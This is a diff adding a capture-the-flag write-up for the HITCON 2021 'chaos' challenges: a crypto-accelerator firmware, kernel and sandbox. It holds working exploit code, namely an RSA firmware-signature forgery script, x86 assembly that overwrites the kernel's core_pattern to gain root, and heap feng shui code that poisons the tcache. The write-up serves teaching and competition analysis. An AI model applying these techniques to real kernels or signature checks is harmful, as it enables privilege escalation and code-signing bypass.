+syscall_handler_off equ 0xffffffff81c00000 - kernel_base
+core_pattern_off equ 0xffffffff82564060 - kernel_base
+
+pwn_kernel:
+    ; read IA32_LSTAR, which contains the address of the syscall handler
+    mov ecx, 0xc0000082
+    rdmsr
+    shl rdx, 32
+    or rax, rdx
+
+    mov rbx, syscall_handler_off
+    sub rax, rbx
+    ; rbx = kernel base
+    mov rbx, rax
+
+    mov rax, core_pattern_off
+    mov rcx, rbx
+    ; rcx = core_pattern
+    add rcx, rax
+
+    ; overwrite core_pattern
+    mov rbx, '|/home/c'
+    mov [rcx], rbx
+    mov rbx, 'haos/run'
+    mov [rcx + 8], rbx
+    xor ebx, ebx
+    mov [rcx + 16], rbx
+
+    ; return to userspace and crash
+    xor ecx, ecx
+    mov r11, 0x002
+    swapgs
+    sysret
+
+ +
int main(int argc, char* argv[])
+{
+    if (getuid() == 0) {
+        system("cat /flag > /dev/ttyS0");
+        return 0;
+    }
+    /* ... */
+}
+
+ +

Flag: hitcon{so this is how we attack kernel from a device}

+ +

Part 3: Sandbox

+ +

Analysis

+ +

The flag for part 3 is also a file outside the sandbox. However unlike in part 1, there is no system call that copies the flag into the CHAOS memory for us. The sandbox only opens the file that contains the third flag, but then doesn’t do anything with it. Clearly this means that we must somehow pwn the sandbox and read the contents of the file somewhere into shared memory where our firmware can access them. As we mentioned before, the sandbox has some system calls that let the chip perform some cryptographic operations on data supplied by the firmware. More specifically, the sandbox implements the following:

+ +
    +
  • MD5
  • +
  • SHA256
  • +
  • AES encrypt/decrypt
  • +
  • RC4 encrypt/decrypt
  • +
  • Blowfish encrypt/decrypt
  • +
  • Twofish encrypt/decrypt
  • +
  • Threefish encrypt/decrypt
  • +
+ +

Except for MD5 and SHA256, all of these operations also need a key. The client can use the add_key and delete_key to add and remove keys from the sandbox’s key storage. The key storage is implemented as a std::map<uint32_t, struct buffer>, which maps a key ID to the key data and is implemented using a search tree.

+ +

Now, except for MD5, SHA256 and RC4 all of the algorithms implemented in the sandbox are block ciphers, which take a fixed-size block of input and produce a block of output having the same size as the input. The block size is usually a fixed value chosen by the designers of the algorithm.

+ +

Consider now the function that implements Threefish encryption, which has a block size of 32 bytes:

+ +
void threefish_encrypt(struct buffer *output, struct buffer *key, struct buffer *input)
+{
+  if (key->size != 32) {
+      _exit(2);
+  }
+
+  size_t size = input->size;
+  if ((size & 7) != 0 || size > 0x20) {
+    _exit(2);
+  }
+
+  output->data = NULL;
+  output->size = size;
+
+  if ((unsigned int)(size - 1) > 0xFFFFF) {
+    _exit(2);
+  }
+
+  uint8_t *out = new uint8_t[size];
+  output->data = out;
+  do_threefish_encrypt(key->data, key->size, input->data, out);
+}
+
+ +

While the function checks that the size of the input is not bigger than the block size, it doesn’t check that it’s exactly equal to the block size. On top of that it allocates an output buffer whose size is the same as the size of the input, rather than a fixed-size buffer. This means that the encryption can write out of bounds if we pass it an input buffer that is smaller than 32 bytes. All block ciphers have this bug but it’s only exploitable with threefish because it’s the only cipher with a block size greater than 24 bytes, which is the smallest usable buffer returned by glibc’s malloc. This bug gives us a 8-byte out of bounds read and an 8 byte out of bounds write on a heap chunk of size 24 (the input data is also assumed to be 32 bytes).

+ +

Ok, so we have a heap overflow and overread, how can we exploit this? Fortunately, if we do overflow, we do so directly into the size field of the next chunk. Therefore, our goal was to overflow the size field of a small chunk with a large size. However, there were a bunch of complications before achieving this.

+ +

The biggest issue we were facing, is the fact that both encryption and decryption do not (directly) allow for a controlled overflow. Encryption, of course, leads to mostly gibberish in the overflown area. Furthermore, since our input also has to be smaller than 32 bytes, part of the encryption input is from the next heap chunk! This also makes it nontrivial to get a controlled overflow with decryption, since we do not control part of the encrypted input, that will be decrypted.

+ +

The intended solution here, was to use crypto to your advantage and figure out a way, such that known but not controlled input also decrypts to something you wanted. However, we found a much easier approach, that did not involve pinging our crypto people on discord ;).

+ +

We first present the heap setup we want to have, then how we actually achieved that. +The basic setup we need, is the following, where the three separate parts of the heap, can be anywhere.

+ +

+ +

The sizes shown are the actual sizes used by malloc (so rounded up to the nearest 0x10). +Furthermore, except the sizes for the input / output chunks, the other sizes are not particularly specific. +However, we do need to have sizeof(L) >> sizeof(S). The goal is to now roughly have the following happen 1:

+ +
void* I_E = malloc(0x20);
+void* O_E = malloc(0x20);
+void* I_D = O_E;
+void* O_D = malloc(0x20);
+threefish_encrypt(I_E, O_E);
+threefish_decrypt(I_D, O_D);
+
+ +

In particular, the purpose of the different chunks are as follows:

+ +
    +
  • $I_E$: input to the threefish encryption using overflow. The encryption will read the size of the next chunk $L$ oob, as the last 8 bytes of input.
  • +
  • $O_E$ / $I_D$: output of the threefish encryption, but then also input of the threefish decryption. During encryption, the size of the next chunk will be overwritten. During decryption, the size of the next chunk will be read oob, as the last 8 bytes of input.
  • +
  • $O_D$: output of the threefish decryption. The size of the next chunk will be overwritten, with the last 8 bytes of output.
  • +
  • $L$: A large chunk. We will overwrite the size of $S$, with this size.
  • +
  • $D$: A chunk that is never freed. Since we corrupt the size with the encryption, we do not want to free it, otherwise malloc is unhappy.
  • +
  • $S$: A small chunk. Target for our overwrite.
  • +
+ +

This works out well, since we do not change the input of our encryption before decryption, the output of the decryption must be the same as our initial input. Since the initial input’s last 8 bytes was a large size, the small size of $S$ will be overwritten with this large size. If we now allocate $S$, free it again, it will be in the tcache of a much larger size than it should be. We can then allocate a chunk of size $0x150$ and get back $S$. Then we have a fully controlled overflow of a much larger area of the heap.

+ +

This whole procedure is shown in the image below:

+ +

+ +

So our goal is now clear, we need the specific heap layout and allocations mentioned before. +But how do we get there?

+ +

There are two major pain points in trying to achieve this. +Firstly, the heap is not in a clean state when we start our exploit, since the firmware loading also uses the heap already. +Secondly, there are no good malloc and free primitives. To get the heap into a certain state, ideally we would be able to malloc and free arbitrary sizes. The best primitive we found, was the addition and removal of keys. While it allows us to malloc an arbitrarily sized chunk and free it later, it also has a major drawback. The malloc of the size we control, happens in between a malloc(0x10) and a malloc(0x30). The former to act as a kind of wrapper around our malloc’d buffer, the latter as the node in a red-black-tree. This is the case, because the different keys are saved inside an std::map.

+ +

Astute readers will have noticed, that the wrapper struct is actually of the same size as our target buffers to overflow. +In fact, both of these pain points can help us out in certain ways.

+ +

We will now show the heap feng shui of our exploit, then explain why the different allocations work and how they help us towards our goal. But first, we explain the do_malloc and do_free functions. These correspond to adding and removing a key respectively. As such, a simplified view of these is basically:

+ +
size_t do_malloc(size_t size) {
+    void* buffer = malloc(0x10);
+    void* key_buf = malloc(size);
+    void* tree_node = malloc(0x30);
+    size_t key_id = curr_id;
+    curr_id++;
+    keys[key_id] = (buffer, key_buf, tree_node);
+}
+
+void do_free(size_t key_idx) {
+    (buffer, key_buf, tree_node) = keys[key_id];
+    free(tree_node);
+    free(key_buf);
+    free(buffer);
+}
+
+ +

Now our heap feng shui is written as:

+ +
size_t first = do_malloc(0x80);
+
+size_t inp_prepare = do_malloc(0x150);
+size_t dont_free = do_malloc(0x70);
+size_t small = do_malloc(0x50);
+
+size_t reserved_for_later = do_malloc(0x80);
+size_t reserved_for_later2 = do_malloc(0x80);
+
+do_free(dont_free);
+do_free(first);
+size_t dont_free2 = do_malloc(0x70);
+size_t dont_free_begin = do_malloc(0x90);
+do_free(small);
+do_free(dont_free_begin);
+do_free(inp_prepare);
+
+ +

Since do_malloc first allocs a chunk of size 0x20, then our desired size, we can use it as a primitive for achieving the three parts of the heap we need, as long as the two mallocs happen from a contiguous region. Thankfully, the firmware was allocated as a large heap chunk and after freeing it, put in the unsorted bin. Therefore, as long as our allocation size’s tcache is empty, the malloc happens contiguously from this unsorted bin. Hence, our chunks from before can be identified:

+ +
    +
  • $I_E$ ` = inp_prepare.buffer`
  • +
  • $O_E$ / $I_D$ ` = dont_free.buffer = dont_free_begin.buffer`
  • +
  • $O_D$ ` = small.buffer`
  • +
  • $L$ ` = inp_prepare.key_buf`
  • +
  • $D$ ` = dont_free.key_buf = dont_free2.key_buf`
  • +
  • $S$ ` = small.key_buf`
  • +
+ +

This also explains the very first allocation. It is done to remove the single 0x20 chunk currently in the tcache. +inp_prepare then corresponds to our first heap part, the first input buffer and the large chunk. +dont_free corresponds to the second heap part, while small to the third. +Both reserved_for_later use a key_buf chunk on the tcache, while the tree_node will be allocated just after our small chunk. +This will be our target for overwriting with the controlled overflow later.

+ +

Finally, we have to do some freeing to get our tcache in the correct order. In the end, we would like the have the following tcache for 0x20:

+ +
head -> inp_prepare.buffer -> dont_free.buffer -> small.buffer
+
+ +

To this end, we first swap the buffer struct used for dont_free and first. Otherwise, we would have to free dont_free.key_buf, which we do not want! For that, we first free it temporarily, leading to the following tcache 0x20:

+ +
head -> first.buffer -> dont_free.buffer
+
+ +

Furthermore, dont_free.key_buf is the head of tcache 0x70. Therefore, do_malloc(0x70), will use first.buffer as the buffer, and dont_free.key_buf as its key_buf. Since we never touch the result of this malloc (dont_free2) again, we can be safe that dont_free.key_buf (or as named above $D$) is never freed! Lastly, dont_free_begin.buffer now points to dont_free.buffer and hence the last three frees achieve exactly the tcache layout we want.

+ +

Therefore, the next part of our exploit looks as follows:

+ +
res = do_crypto(THREEFISH_ENC, random_data, 24, test_key_idx);
+if (res < 0) {
+    puts("enc failed");
+}
+
+memcpy(temp_crypt, crypt_result, 24);
+
+size_t rid_of_inp = do_malloc(0x140);
+
+res = do_crypto(THREEFISH_DEC, temp_crypt, 24, test_key_idx);
+
+if (res < 0) {
+    puts("dec failed");
+}
+
+puts("smashed size!");
+
+ +

First we encrypt. This will use the first entry in the tcache as input, the second as output. Then we make sure to remove the first entry in the tcache. Next we decrypt, and again first entry in tcache is input (previously of course our output), the second as output. This all leads to our desired goal, of smashing the size of small.key_buf with 0x160.

+ +

We now malloc and free small.key_buf, to put it onto the correct tcache:

+ +
size_t small_smashed = do_malloc(0x50);
+do_free(small_smashed);
+
+ +

The next time we add a key of size 0x150, we will overflow small.key_buf by a lot! +We now free the chunks reserved for later:

+ +
do_free(reserved_for_later2);
+do_free(reserved_for_later);
+
+ +

This will now do the following for the tcache of size 0x40 (remember those chunk’s tree_node were allocated after small.key_buf):

+ +
head -> reserved_for_later.tree_node -> reserved_for_later2.tree_node -> ...
+
+ +

When we now overflow small.key_buf, we can set fd of the chunks that are in tcache. +Due to the way the allocations work, we need to create some fake chunks first, which we point to. +The fake chunks are created as follows inside dram:

+ +
puts("Creating fake chunks");
+
+uint64_t* fake_chunk = dram + 0x20000;
+uint64_t* fake_chunk2 = dram + 0x20080;
+fake_chunk[-1] = 0x41;
+fake_chunk[0] = fake_chunk2;
+fake_chunk[1] = 0;
+
+fake_chunk2[-1] = 0x41;
+// this is the address we actually wanna overwrite
+fake_chunk2[0] = fd_addr;
+fake_chunk2[1] = 0;
+
+uint64_t* fake_chunk4 = dram + 0x20100;
+fake_chunk4[-1] = 0x21;
+fake_chunk4[0] = 0;
+fake_chunk4[1] = 0;
+
+uint64_t* fake_chunk3 = dram + 0x20180;
+fake_chunk3[-1] = 0x21;
+fake_chunk3[0] = fake_chunk4;
+fake_chunk3[1] = 0;
+
+ +

Now we can finally overflow:

+ +
puts("smashing actual chunks");
+
+memset(overwrite, 'A', sizeof(overwrite));
+
+uint64_t* over = &overwrite[0];
+
+// Due to the free of the reserved_for_later chunks
+// We also need to fixup these buffer chunks on the heap.
+over[31] = 0x21;
+over[32] = fake_chunk3;
+over[33] = 0;
+// This is our actual target!
+over[23] = 0x41;
+over[24] = fake_chunk;
+over[25] = 0;
+
+size_t my_key = add_key(overwrite, sizeof(overwrite));
+
+ +

The tcache for 0x20 and 0x40 now looks as follows:

+ +
head[0x20] -> reserver_for_later.buffer -> fake_chunk3 -> fake_chunk4
+head[0x40] -> fake_chunk -> fake_chunk2 -> fd_addr // location of flag1 file descriptor
+
+ +

Hence, if we create two keys of length 0x30, the second key allocation will be overwriting fd_addr, allowing us to change the file descriptor from flag1 to the one for flag3. Then we can just reuse our exploit for the first flag:

+ +
uint32_t* fd_over = &fd_overwrite[0];
+// remote:
+*fd_over = 1;
+// local:
+// *fd_over = 4;
+size_t fd_key = add_key(fd_overwrite, 0x30);
+size_t fd_key2 = add_key(fd_overwrite, 0x30);
+
+puts("Read flag");
+
+while (true) {
+    syscall1(0xC89FC, dram);
+
+    printf("flag: %s\n", dram);
+
+    for (int i = 0x100; i < 0x50000; i += 0x100) {
+        memcpy(dram + i, dram, 0x100);
+    }
+}
+
+ +

Flag: hitcon{threefishes~sandbox~esacape}

+ +

Conclusion

+ +

Thanks to david942j and lyc for putting together this series of challenges, they were really fun to solve. You can find the source code for the challenges together with the official solution on github. Until next time!

+
+
    +
  1. +

    Note that the mallocs will actually happen at different times, this is just to illustrate the basic idea. 

    +
  2. +
+
+ + + + + + +
+
+
+ + + + + + +
+ + diff --git a/HITCON-2021/pwn/chaos.md b/HITCON-2021/pwn/chaos.md new file mode 100755 index 0000000..99c1db5 --- /dev/null +++ b/HITCON-2021/pwn/chaos.md @@ -0,0 +1,1055 @@ +# Chaos + +**Authors**: [Nspace](https://twitter.com/_MatteoRizzo), [gallileo](https://twitter.com/galli_leo_) + +**Tags**: pwn, crypto, kernel, sandbox, heap + +**Points**: 334 + 421 + 450 + +> Let's introduce our brand new device for this cryptocurrency era - CHAOS the CryptograpHy AcceleratOr Silicon! +> +> Remote Env: Ubuntu 20.04 +> +> `nc 52.197.161.60 3154` +> +> [chaos-7e0d17f7553a86831ec6f1a5aba6bdb8cfab5674.tar.gz](https://hitcon-2021-quals.s3.ap-northeast-1.amazonaws.com/chaos-7e0d17f7553a86831ec6f1a5aba6bdb8cfab5674.tar.gz) + +## Introduction + +Last week we played HITCON CTF 2021, one of the hardest events of the year, and placed 4th. During the CTF we (Nspace and gallileo) spent most of our time working on the chaos series of challenges written by [david942j](https://twitter.com/david942j) and lyc. This writeup explains the structure of the challenges and discusses how we solved each of the 3 stages. Out of nearly 300 teams in the CTF, we were the only team to solve all 3 challenges, and the first team to solve chaos-kernel and chaos-sandbox. + +Let's get started! + +## Challenge architecture + +This series of challenges simulates a custom hardware cryptographic accelerator attached to a Linux computer. The setup is fairly complex and has a lot of moving parts: + +* A modified QEMU with a custom CHAOS PCI device. The virtual PCI device lets the guest interact with the emulated CHAOS chip. +* A Linux VM running inside QEMU. The VM loads a driver for the CHAOS chip, called `chaos.ko`, into the kernel. Userspace programs can talk to CHAOS through the driver. +* A userspace CHAOS client that uses CHAOS to perform cryptographic operations. +* A firmware binary that runs on the emulated CHAOS chip. +* A sandbox binary that emulates the CHAOS chip and runs the firmware. + +The following image shows an overview all the components and how they interact. + +![CHAOS challenge architecture](chaos1.jpg) + +There are 3 challenges in the series, each with a different flag: + +* chaos-firmware (10 solves, 334 points): the flag is in a file outside the VM (`flag_fiwmare`). +* chaos-kernel (3 solves, 421 points): the flag is in a file inside the VM that only root can read. +* chaos-sandbox (2 solves, 450 points): the flag is in a file outside the VM (`flag_sandbox`). + +### CHAOS virtual device + +CHAOS is a virtual cryptographic accelerator attached to the PCI bus of the virtual machine. It exposes 2 PCI memory resources to the VM: a MMIO area with 16 registers (`csrs`), and 1 MB of dedicated on-chip memory (`dram`). The VM can interact with CHAOS by reading and writing to these two memory regions and CHAOS can send interrupts to the VM. The implementation is split in 3 parts: a virtual PCI device in QEMU, a sandbox binary, and some firmware that runs on the virtual chip. + +The PCI device in QEMU doesn't do much. At startup it allocates space for the two memory regions using `memfd` and launches the sandbox binary. The QEMU process and the sandbox share the two memfds and two eventfds used to signal interrupts. After startup, the virtual PCI device is only used to send interrupts to the VM or the sandbox and to handle the VM's memory accesses. + +### CHAOS sandbox + +The sandbox does the actual chip emulation, so it's more interesting. At startup it mmaps the two shared memory areas, opens two flag files (`flag_firmware` and `flag_sandbox`), and waits until the VM sends it the firmware. Once the VM sends the firmware, the sandbox validates it, forks, and runs the firmware in the child process. The sandbox ptraces the firmware process and uses `PTRACE_SYSEMU` to intercept all the system calls made by the firmware. The firmware's system calls are not handled by the kernel, but by the sandbox. This lets the sandbox implement a custom syscall interface for the firmware, and prevents the firmware from directly accessing files or other system resources. + +The sandbox implements only a few system calls: + +* `exit` stops the firmware and sends the exit code back to the VM. The sandbox restarts the firmware on the next memory access from the VM. +* `add_key` and `delete_key` add and remove cryptographic keys supplied by the firmware to the sandbox's key storage. +* `do_crypto` performs a cryptographic operation on data supplied by the firmware and returns the result to the firmware. +* `get_flag` reads `flag_firmware` into the chip's memory. + +### CHAOS firmware + +The firmware is a flat x86_64 binary, which runs in a child process of the sandbox. Since it runs under ptrace with `PTRACE_SYSEMU`, it cannot directly make system calls to the kernel, but must do so through the sandbox. The firmware is not executed with `execve`, but simply loaded in memory and jumped to. It executes in a copy of the sandbox's memory space, so it has direct access to the MMIO area and the CHAOS device memory. +The challenge has an example firmware, but also lets us provide our own firmware, which can be an arbitrary binary up to 10 kB in size. The sandbox will refuse to load a firmware image unless it passes a RSA signature check. + +### CHAOS driver + +`chaos.ko` is a Linux kernel-mode driver that interfaces with the virtual CHAOS chip over PCI. It is responsible for managing the CHAOS chip's memory, loading the firmware, servicing interrupts, and providing userspace programs with an interface to the CHAOS chip. The userspace interface uses a misc character device (`/dev/chaos`) and exposes two IOCTLs: + +* ALLOC_BUFFER allocates a buffer of a given size in the CHAOS chip's memory. This can only be done once per open file. After calling this ioctl the client can access the buffer by mmapping the file descriptor. +* DO_REQUEST sends a request to perform a cryptographic operation to the CHAOS chip, waits for the request to complete, and then returns. + +The chip side of the interface uses two ring buffers: a command queue and response queue. The command queue contains request descriptors, which specify what operation CHAOS should perform. Each request descriptor contains a pointer to the input data in the CHAOS memory, the size of the data, an opcode, and a request ID. The response queue contains response descriptors (request ID and status code). After enqueuing a new request, the driver signals a mailbox in the CHAOS MMIO area, which makes the sandbox run the firmware, and the blocks. + +When the firmware returns, the virtual PCI device raises an interrupt, which processes the request, then wakes up the request threads. When a blocked request thread sees that the chip completed its request, it unblocks and returns the result to userspace. + +### CHAOS client + +The last piece is the client, a regular Linux binary which runs in userspace in the VM. The client can interact with CHAOS through the interface exposed by the driver at `/dev/chaos`. Just like with the firmware, the challenge provides an example client, but also lets us use our own which can be an arbitrary binary up to 1 MB in size. Unlike the firmware, the client doesn't have to pass a signature check. The client runs as an unprivileged user, so it cannot read the flag inside the VM. + +## Preparation + +Since the challenge setup is quite complex with a lot of moving parts, we wanted to reduce the complexity and make debugging easier. Since Part 1 and Part 3 can ignore the kernel module and QEMU for the most part, we wrote a script to launch the sandbox binary standalone. + +The setup is quite simple, we create the memfds and eventfds in python, then use `pwntools` to spawn the sandbox process. We also have some utility functions for "interacting" with the memory regions. The script shown below already uses part of the solution for Part 1. It also already contains more "advanced" firmware features we added for Part 3, being an output buffer so we can use `printf` inside the firmware. + +```python +#!/usr/bin/env python +# -*- coding: utf-8 -*- +from pwn import * +# for type info in vscode +from pwnlib.tubes.process import process +from pwnlib import gdb, context +from pwnlib.elf import ELF +from ctypes import * +import os +import memfd +from pwn import * +from hashlib import sha256 +from math import prod +from skein import threefish +import twofish + +def memfd_create(name, flags): + return memfd.memfd_create(name, flags) + +# whatever +libc = cdll.LoadLibrary("libc.so.6") +def eventfd(init_val, flags): + return libc.eventfd(init_val, flags) + +# Set up pwntools for the correct architecture +exe = context.binary = ELF('sandbox') + +# SETUP LOCAL ENV +csr_fd = memfd_create("dev-csr", 0) +log.info("csr_fd: %d", csr_fd) +os.truncate(csr_fd, 0x80) +dram_fd = memfd_create("dev-dram", 0) +log.info("dram_fd: %d", dram_fd) +os.truncate(dram_fd, 0x100000) +evtfd_to_dev = eventfd(0, 0) +log.info("evtfd_to_dev: %d", evtfd_to_dev) +evtfd_from_dev = eventfd(0, 0) + +def preexec(): + # WARNING: using log.* stuff inside the preexec functions can cause hangs, no idea why + # log.info("Before executing, setting up the filedescriptors") + os.dup2(csr_fd, 3) + os.dup2(dram_fd, 4) + os.dup2(evtfd_to_dev, 5) + os.dup2(evtfd_from_dev, 6) + # log.info("Finished with duplicating filedesc") + +def wait_for_interrupt(): + log.debug("Waiting for interrupt from device") + res = os.read(evtfd_from_dev, 8) + log.debug("Got 0x%x", u64(res)) + return res + +def send_interrupt(val = 1): + log.debug("Sending interrupt with val 0x%x", val) + os.write(evtfd_to_dev, p64(val)) + +def write_mem(fd, off, val: bytes): + log.debug("Writing to %d @ 0x%x: %s", fd, off, hexdump(val)) + os.lseek(fd, off, os.SEEK_SET) + os.write(fd, val) + +def write_mem_64(fd, off, val: int): + write_mem(fd, off, p64(val)) + +def read_mem(fd, off, size) -> bytes: + log.debug("Reading from %d @ 0x%x", fd, off) + os.lseek(fd, off, os.SEEK_SET) + return os.read(fd, size) + +def read_mem_64(fd, off) -> int: + res = read_mem(fd, off, 8) + return u64(res) + +def load_firmware(data, dram_off = 0): + log.info("Loading firmware of size 0x%x, dram @ 0x%x", len(data), dram_off) + # mapping firmware directly at beginning of dram, hopefully that's ok lmao + write_mem(dram_fd, dram_off, data) + write_mem_64(csr_fd, 0, dram_off) + write_mem_64(csr_fd, 8, len(data)) + send_interrupt() + res = wait_for_interrupt() + int_val = u64(res) + log.info("Got interrupt: 0x%x", int_val) # should be > 0x1336 + load_res = read_mem_64(csr_fd, 0) + log.info("Got result for loading: 0x%x", load_res) + +def build_firmware(shellcode): + header = p32(len(shellcode)) + header += p8(0x82) + header += bytes.fromhex("0fff0ee945bd4176f55a40543b3666843a0d565c339e5d8969fcd7ca921cc303a1c8af16240c4d032d1931632b90996dd48aebacee307d3c57bc83375698ae7df90d10163edee9e067ce46e738092257dafb15b80fb65961900deffa9b59b57e472bf56be0d9f648ad6908f2553be13a9ea0cda24317756cba5142a95e21f9e000040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000") + + factors = [13, 691267, 20502125755394762434933579089125449307897345968084091731229436353808955447773787435286551243437724264561546459801643475331591701959705793105612360650011316069145033629055595572330904990306691542449400499839249687299626423918040370229280752606812185791663127069532707770334540305571214081730144598191170073 + ] + phi=prod([i-1 for i in factors]) + dec=pow(0x10001,-1,phi) + act = int.from_bytes(sha256(shellcode).digest(), "little") + header += int.to_bytes(pow(act, dec, prod(factors)), 256, 'little') + return header + shellcode + +OUT_OFF = 0x50000 + +def read_outputbuf(): + ret = b"" + off = OUT_OFF + while True: + curr = read_mem(dram_fd, off, 1) + if curr == b"\0": + break + ret += curr + off += 1 + return ret + +def start(argv=[], *a, **kw): + '''Start the exploit against the target.''' + p = process([exe.path] + argv, *a, **kw) + if args.GDB: + gdb.attach(p, gdbscript=gdbscript) + return p + +# Specify your GDB script here for debugging +# GDB will be launched if the exploit is run via e.g. +# ./exploit.py GDB +gdbscript = ''' +continue +'''.format(**locals()) + +#=========================================================== +# EXPLOIT GOES HERE +#=========================================================== +# Arch: amd64-64-little +# RELRO: Full RELRO +# Stack: Canary found +# NX: NX enabled +# PIE: PIE enabled + +io = start(preexec_fn=preexec, close_fds=False) + +# to allow attaching +if args.PAUSE: + pause() + +DRAM_START = 0x10000000 + +# sh = shellcraft.syscall(0xC89FC, arg0=DRAM_START + 0x1000) +# sh += shellcraft.syscall(60, 0) + +# asm_sh = asm(sh) + +import subprocess + +subprocess.check_call(['make']) +firm = read("./firmware") +# firm = build_firmware(asm_sh) +load_firmware(firm) + +log.info("Firmware read ok => launching firmware now!") +send_interrupt() + +wait_for_interrupt() +# pause() +log.info("Got interrupt, firmware is done now!") + +output = read_outputbuf() + +log.info("Output buffer of firmware is:\n%s", hexdump(output)) + +log.info("As string:\n%s", output.decode("ascii", errors='ignore')) + +io.interactive() +``` + +## Part 1: Firmware + +The firmware can request the flag for this challenge from the +sandbox by using the `get_flag` syscall, and then write it to the CHAOS memory where our client in userspace can read it. Unfortunately the provided firmware never uses this system call, so there is no way to get the flag without either pwning the firmware from userspace or creating our own firmware that gets the flag and passes the RSA signature check. Since the challenge is in both the crypto and the pwn category and we can supply our own firmware, we tried to look for a way to bypass the signature check. This is the function that validates the firmware: + +```c +struct firmware_header { + uint32_t size; + uint8_t key_size; + uint8_t key[255]; + uint8_t signature[256]; + uint8_t data[]; +}; + +static const uint8_t pubkey[] = { /*...*/ }; + +void load_firmware(void) +{ + uint32_t firmware_offset; // esi + uint32_t firmware_size; // eax + firmware_header *firmware; // rbx + unsigned int key_size; // er14 + buffer *p_result; // rcx + buffer *p_firm_sha; // rax + buffer *v7; // rdx + unsigned int size; // ebp + unsigned int signature_size; // ebx + uint8_t *sha_data; // r12 + uint8_t *x; // rax + int rsa_e; // [rsp+Ch] [rbp-29Ch] BYREF + buffer firm_data; // [rsp+10h] [rbp-298h] BYREF + buffer firm_sha; // [rsp+20h] [rbp-288h] BYREF + buffer n; // [rsp+30h] [rbp-278h] BYREF + buffer signature; // [rsp+40h] [rbp-268h] BYREF + buffer e; // [rsp+50h] [rbp-258h] BYREF + buffer result; // [rsp+60h] [rbp-248h] BYREF + firmware_header header; // [rsp+70h] [rbp-238h] BYREF + + firmware_offset = csr[0]; + firmware_size = csr[1]; + + // Size/bounds checks + if (firmware_size <= 0x204) { + csr[0] = -22; + return; + } + + firmware = &dram_file.data[firmware_offset]; + memcpy(&header, firmware, sizeof(header)); + if (header.size + sizeof(header) != firmware_size || header.size > firmware_data.size ) { + csr[0] = -22; + return; + } + + make_buffer(&firm_data, firmware->data, header.size); + calc_sha256(&firm_sha, &firm_data); + + // Check the public key that signed the firmware. + key_size = header.key_size; + make_buffer(&n, firmware->key, header.key_size); + if (memcmp(n.data, pubkey, 128)) { + csr[0] = -129; + return; + } + + make_buffer(&signature, firmware->signature, key_size); + + // Verify the signature. + rsa_e = 0x10001; + make_buffer(&e, &rsa_e, 4); + do_rsa_encrypt(&result, &n, &e, &signature); + + p_result = &result; + p_firm_sha = &firm_sha; + while (1) { + size = p_firm_sha->size; + signature_size = p_result->size; + if ( size >= signature_size ) + break; + v7 = p_firm_sha; + p_firm_sha = p_result; + p_result = v7; + } + + sha_data = p_firm_sha->data; + if (!memcmp(sha_data, p_result->data, signature_size)) { + x = &sha_data[signature_size]; + while (size > signature_size) { + if (*x++) { + goto fail; + } + ++signature_size; + } + + // Firmware valid + memcpy(firmware_data.data, firm_data.data, firm_data.size); + csr[0] = 0x8000000000000000LL; + return; + } + +fail: + csr[0] = -74; +} +``` + +The firmware verifies only the first 128 bytes of N, but N can be up to 255 bytes long, with the size controlled by us. Furthermore, there are no checks that N is actually a product of two primes. This means that we can sign the firmware with our own RSA key as long as the first 128 bytes of the modulus match the key accepted by the sandbox. + +In short, we have to find a number $N'$ that is equal to the challenge's $N$ in the lowest 128 bytes such that $\phi(N')$ is easy to compute. Once we have $\phi(N')$ we can compute the private key and sign our own firmware. The intended solution is to look for a prime $N'$, since then $\phi(N') = N' - 1$, but we didn't think about this during the CTF and instead looked for a composite $N'$ that was easy to factor by setting bits above 1024. + +Our teammate Aaron eventually found that $N' = (N \mod 2^{1024}) + 2^{1034}$ works and factors to 13 * 691267 * 20502125755394762434933579089125449307897345968084091731229436353808955447773787435286551243437724264561546459801643475331591701959705793105612360650011316069145033629055595572330904990306691542449400499839249687299626423918040370229280752606812185791663127069532707770334540305571214081730144598191170073. This script produces a valid signature for an arbitrary binary: + +```py +from pwn import * +from hashlib import sha256 +from math import prod + +context.arch = "amd64" +shellcode = read('shellcode.bin') + +header = p32(len(shellcode)) +header += p8(0x82) +header += bytes.fromhex("0fff0ee945bd4176f55a40543b3666843a0d565c339e5d8969fcd7ca921cc303a1c8af16240c4d032d1931632b90996dd48aebacee307d3c57bc83375698ae7df90d10163edee9e067ce46e738092257dafb15b80fb65961900deffa9b59b57e472bf56be0d9f648ad6908f2553be13a9ea0cda24317756cba5142a95e21f9e000040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000") + +factors = [13, 691267, 20502125755394762434933579089125449307897345968084091731229436353808955447773787435286551243437724264561546459801643475331591701959705793105612360650011316069145033629055595572330904990306691542449400499839249687299626423918040370229280752606812185791663127069532707770334540305571214081730144598191170073] +phi=prod([i-1 for i in factors]) +dec=pow(0x10001,-1,phi) + +act = int.from_bytes(sha256(shellcode).digest(), "little") +header += int.to_bytes(pow(act, dec, prod(factors)), 256, 'little') + +with open("firmware", "wb") as f: + f.write(header + shellcode) +``` + +Now that we can sign and load our own firmware, we only have to write some code that loads the flag using the `get_flag` syscall and makes it available to the client. The easiest way is to have our client allocate and map a buffer in the CHAOS memory, then send a request to CHAOS. The firmware can then copy the flag in the response buffer and exit. Since we hadn't yet finished reversing the interface between CHAOS and the driver, we just wrote a firmware that copies the flag everywhere in the CHAOS memory instead of finding the buffer that the client is using. + +```x86asm +BITS 64 +DEFAULT rel + +dram_size equ 0x100000 +dram_start equ 0x10000000 +dram_end equ dram_start + dram_size + +.copy_loop2: + ; get flag + mov rdi, dram_start + mov eax, 0xC89FC + syscall + + mov rax, dram_start + 0x50 + + .copy_loop + mov rsi, dram_start + mov rdi, rax + mov rcx, 0x50 + rep movsb + + add rax, 0x50 + cmp rax, dram_end + jb .copy_loop + +jmp .copy_loop2 + +; exit +mov edi, 0 +mov eax, 60 +syscall +``` + +```c +struct request { + int field_0; + int field_4; + int field_8; + int field_c; + int field_10; + int field_14; + int out_size; +}; + +int main(void) +{ + int fd = open("/dev/chaos", O_RDWR); + assert(fd >= 0); + + assert(ioctl(fd, 0x4008CA00, 0x1000) >= 0); + + uint8_t *mem = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0); + assert(mem != MAP_FAILED); + + struct request req = { + .field_0 = 1, + .field_4 = 0, + .field_8 = 32, + .field_c = 256, + .field_10 = 32, + .field_14 = 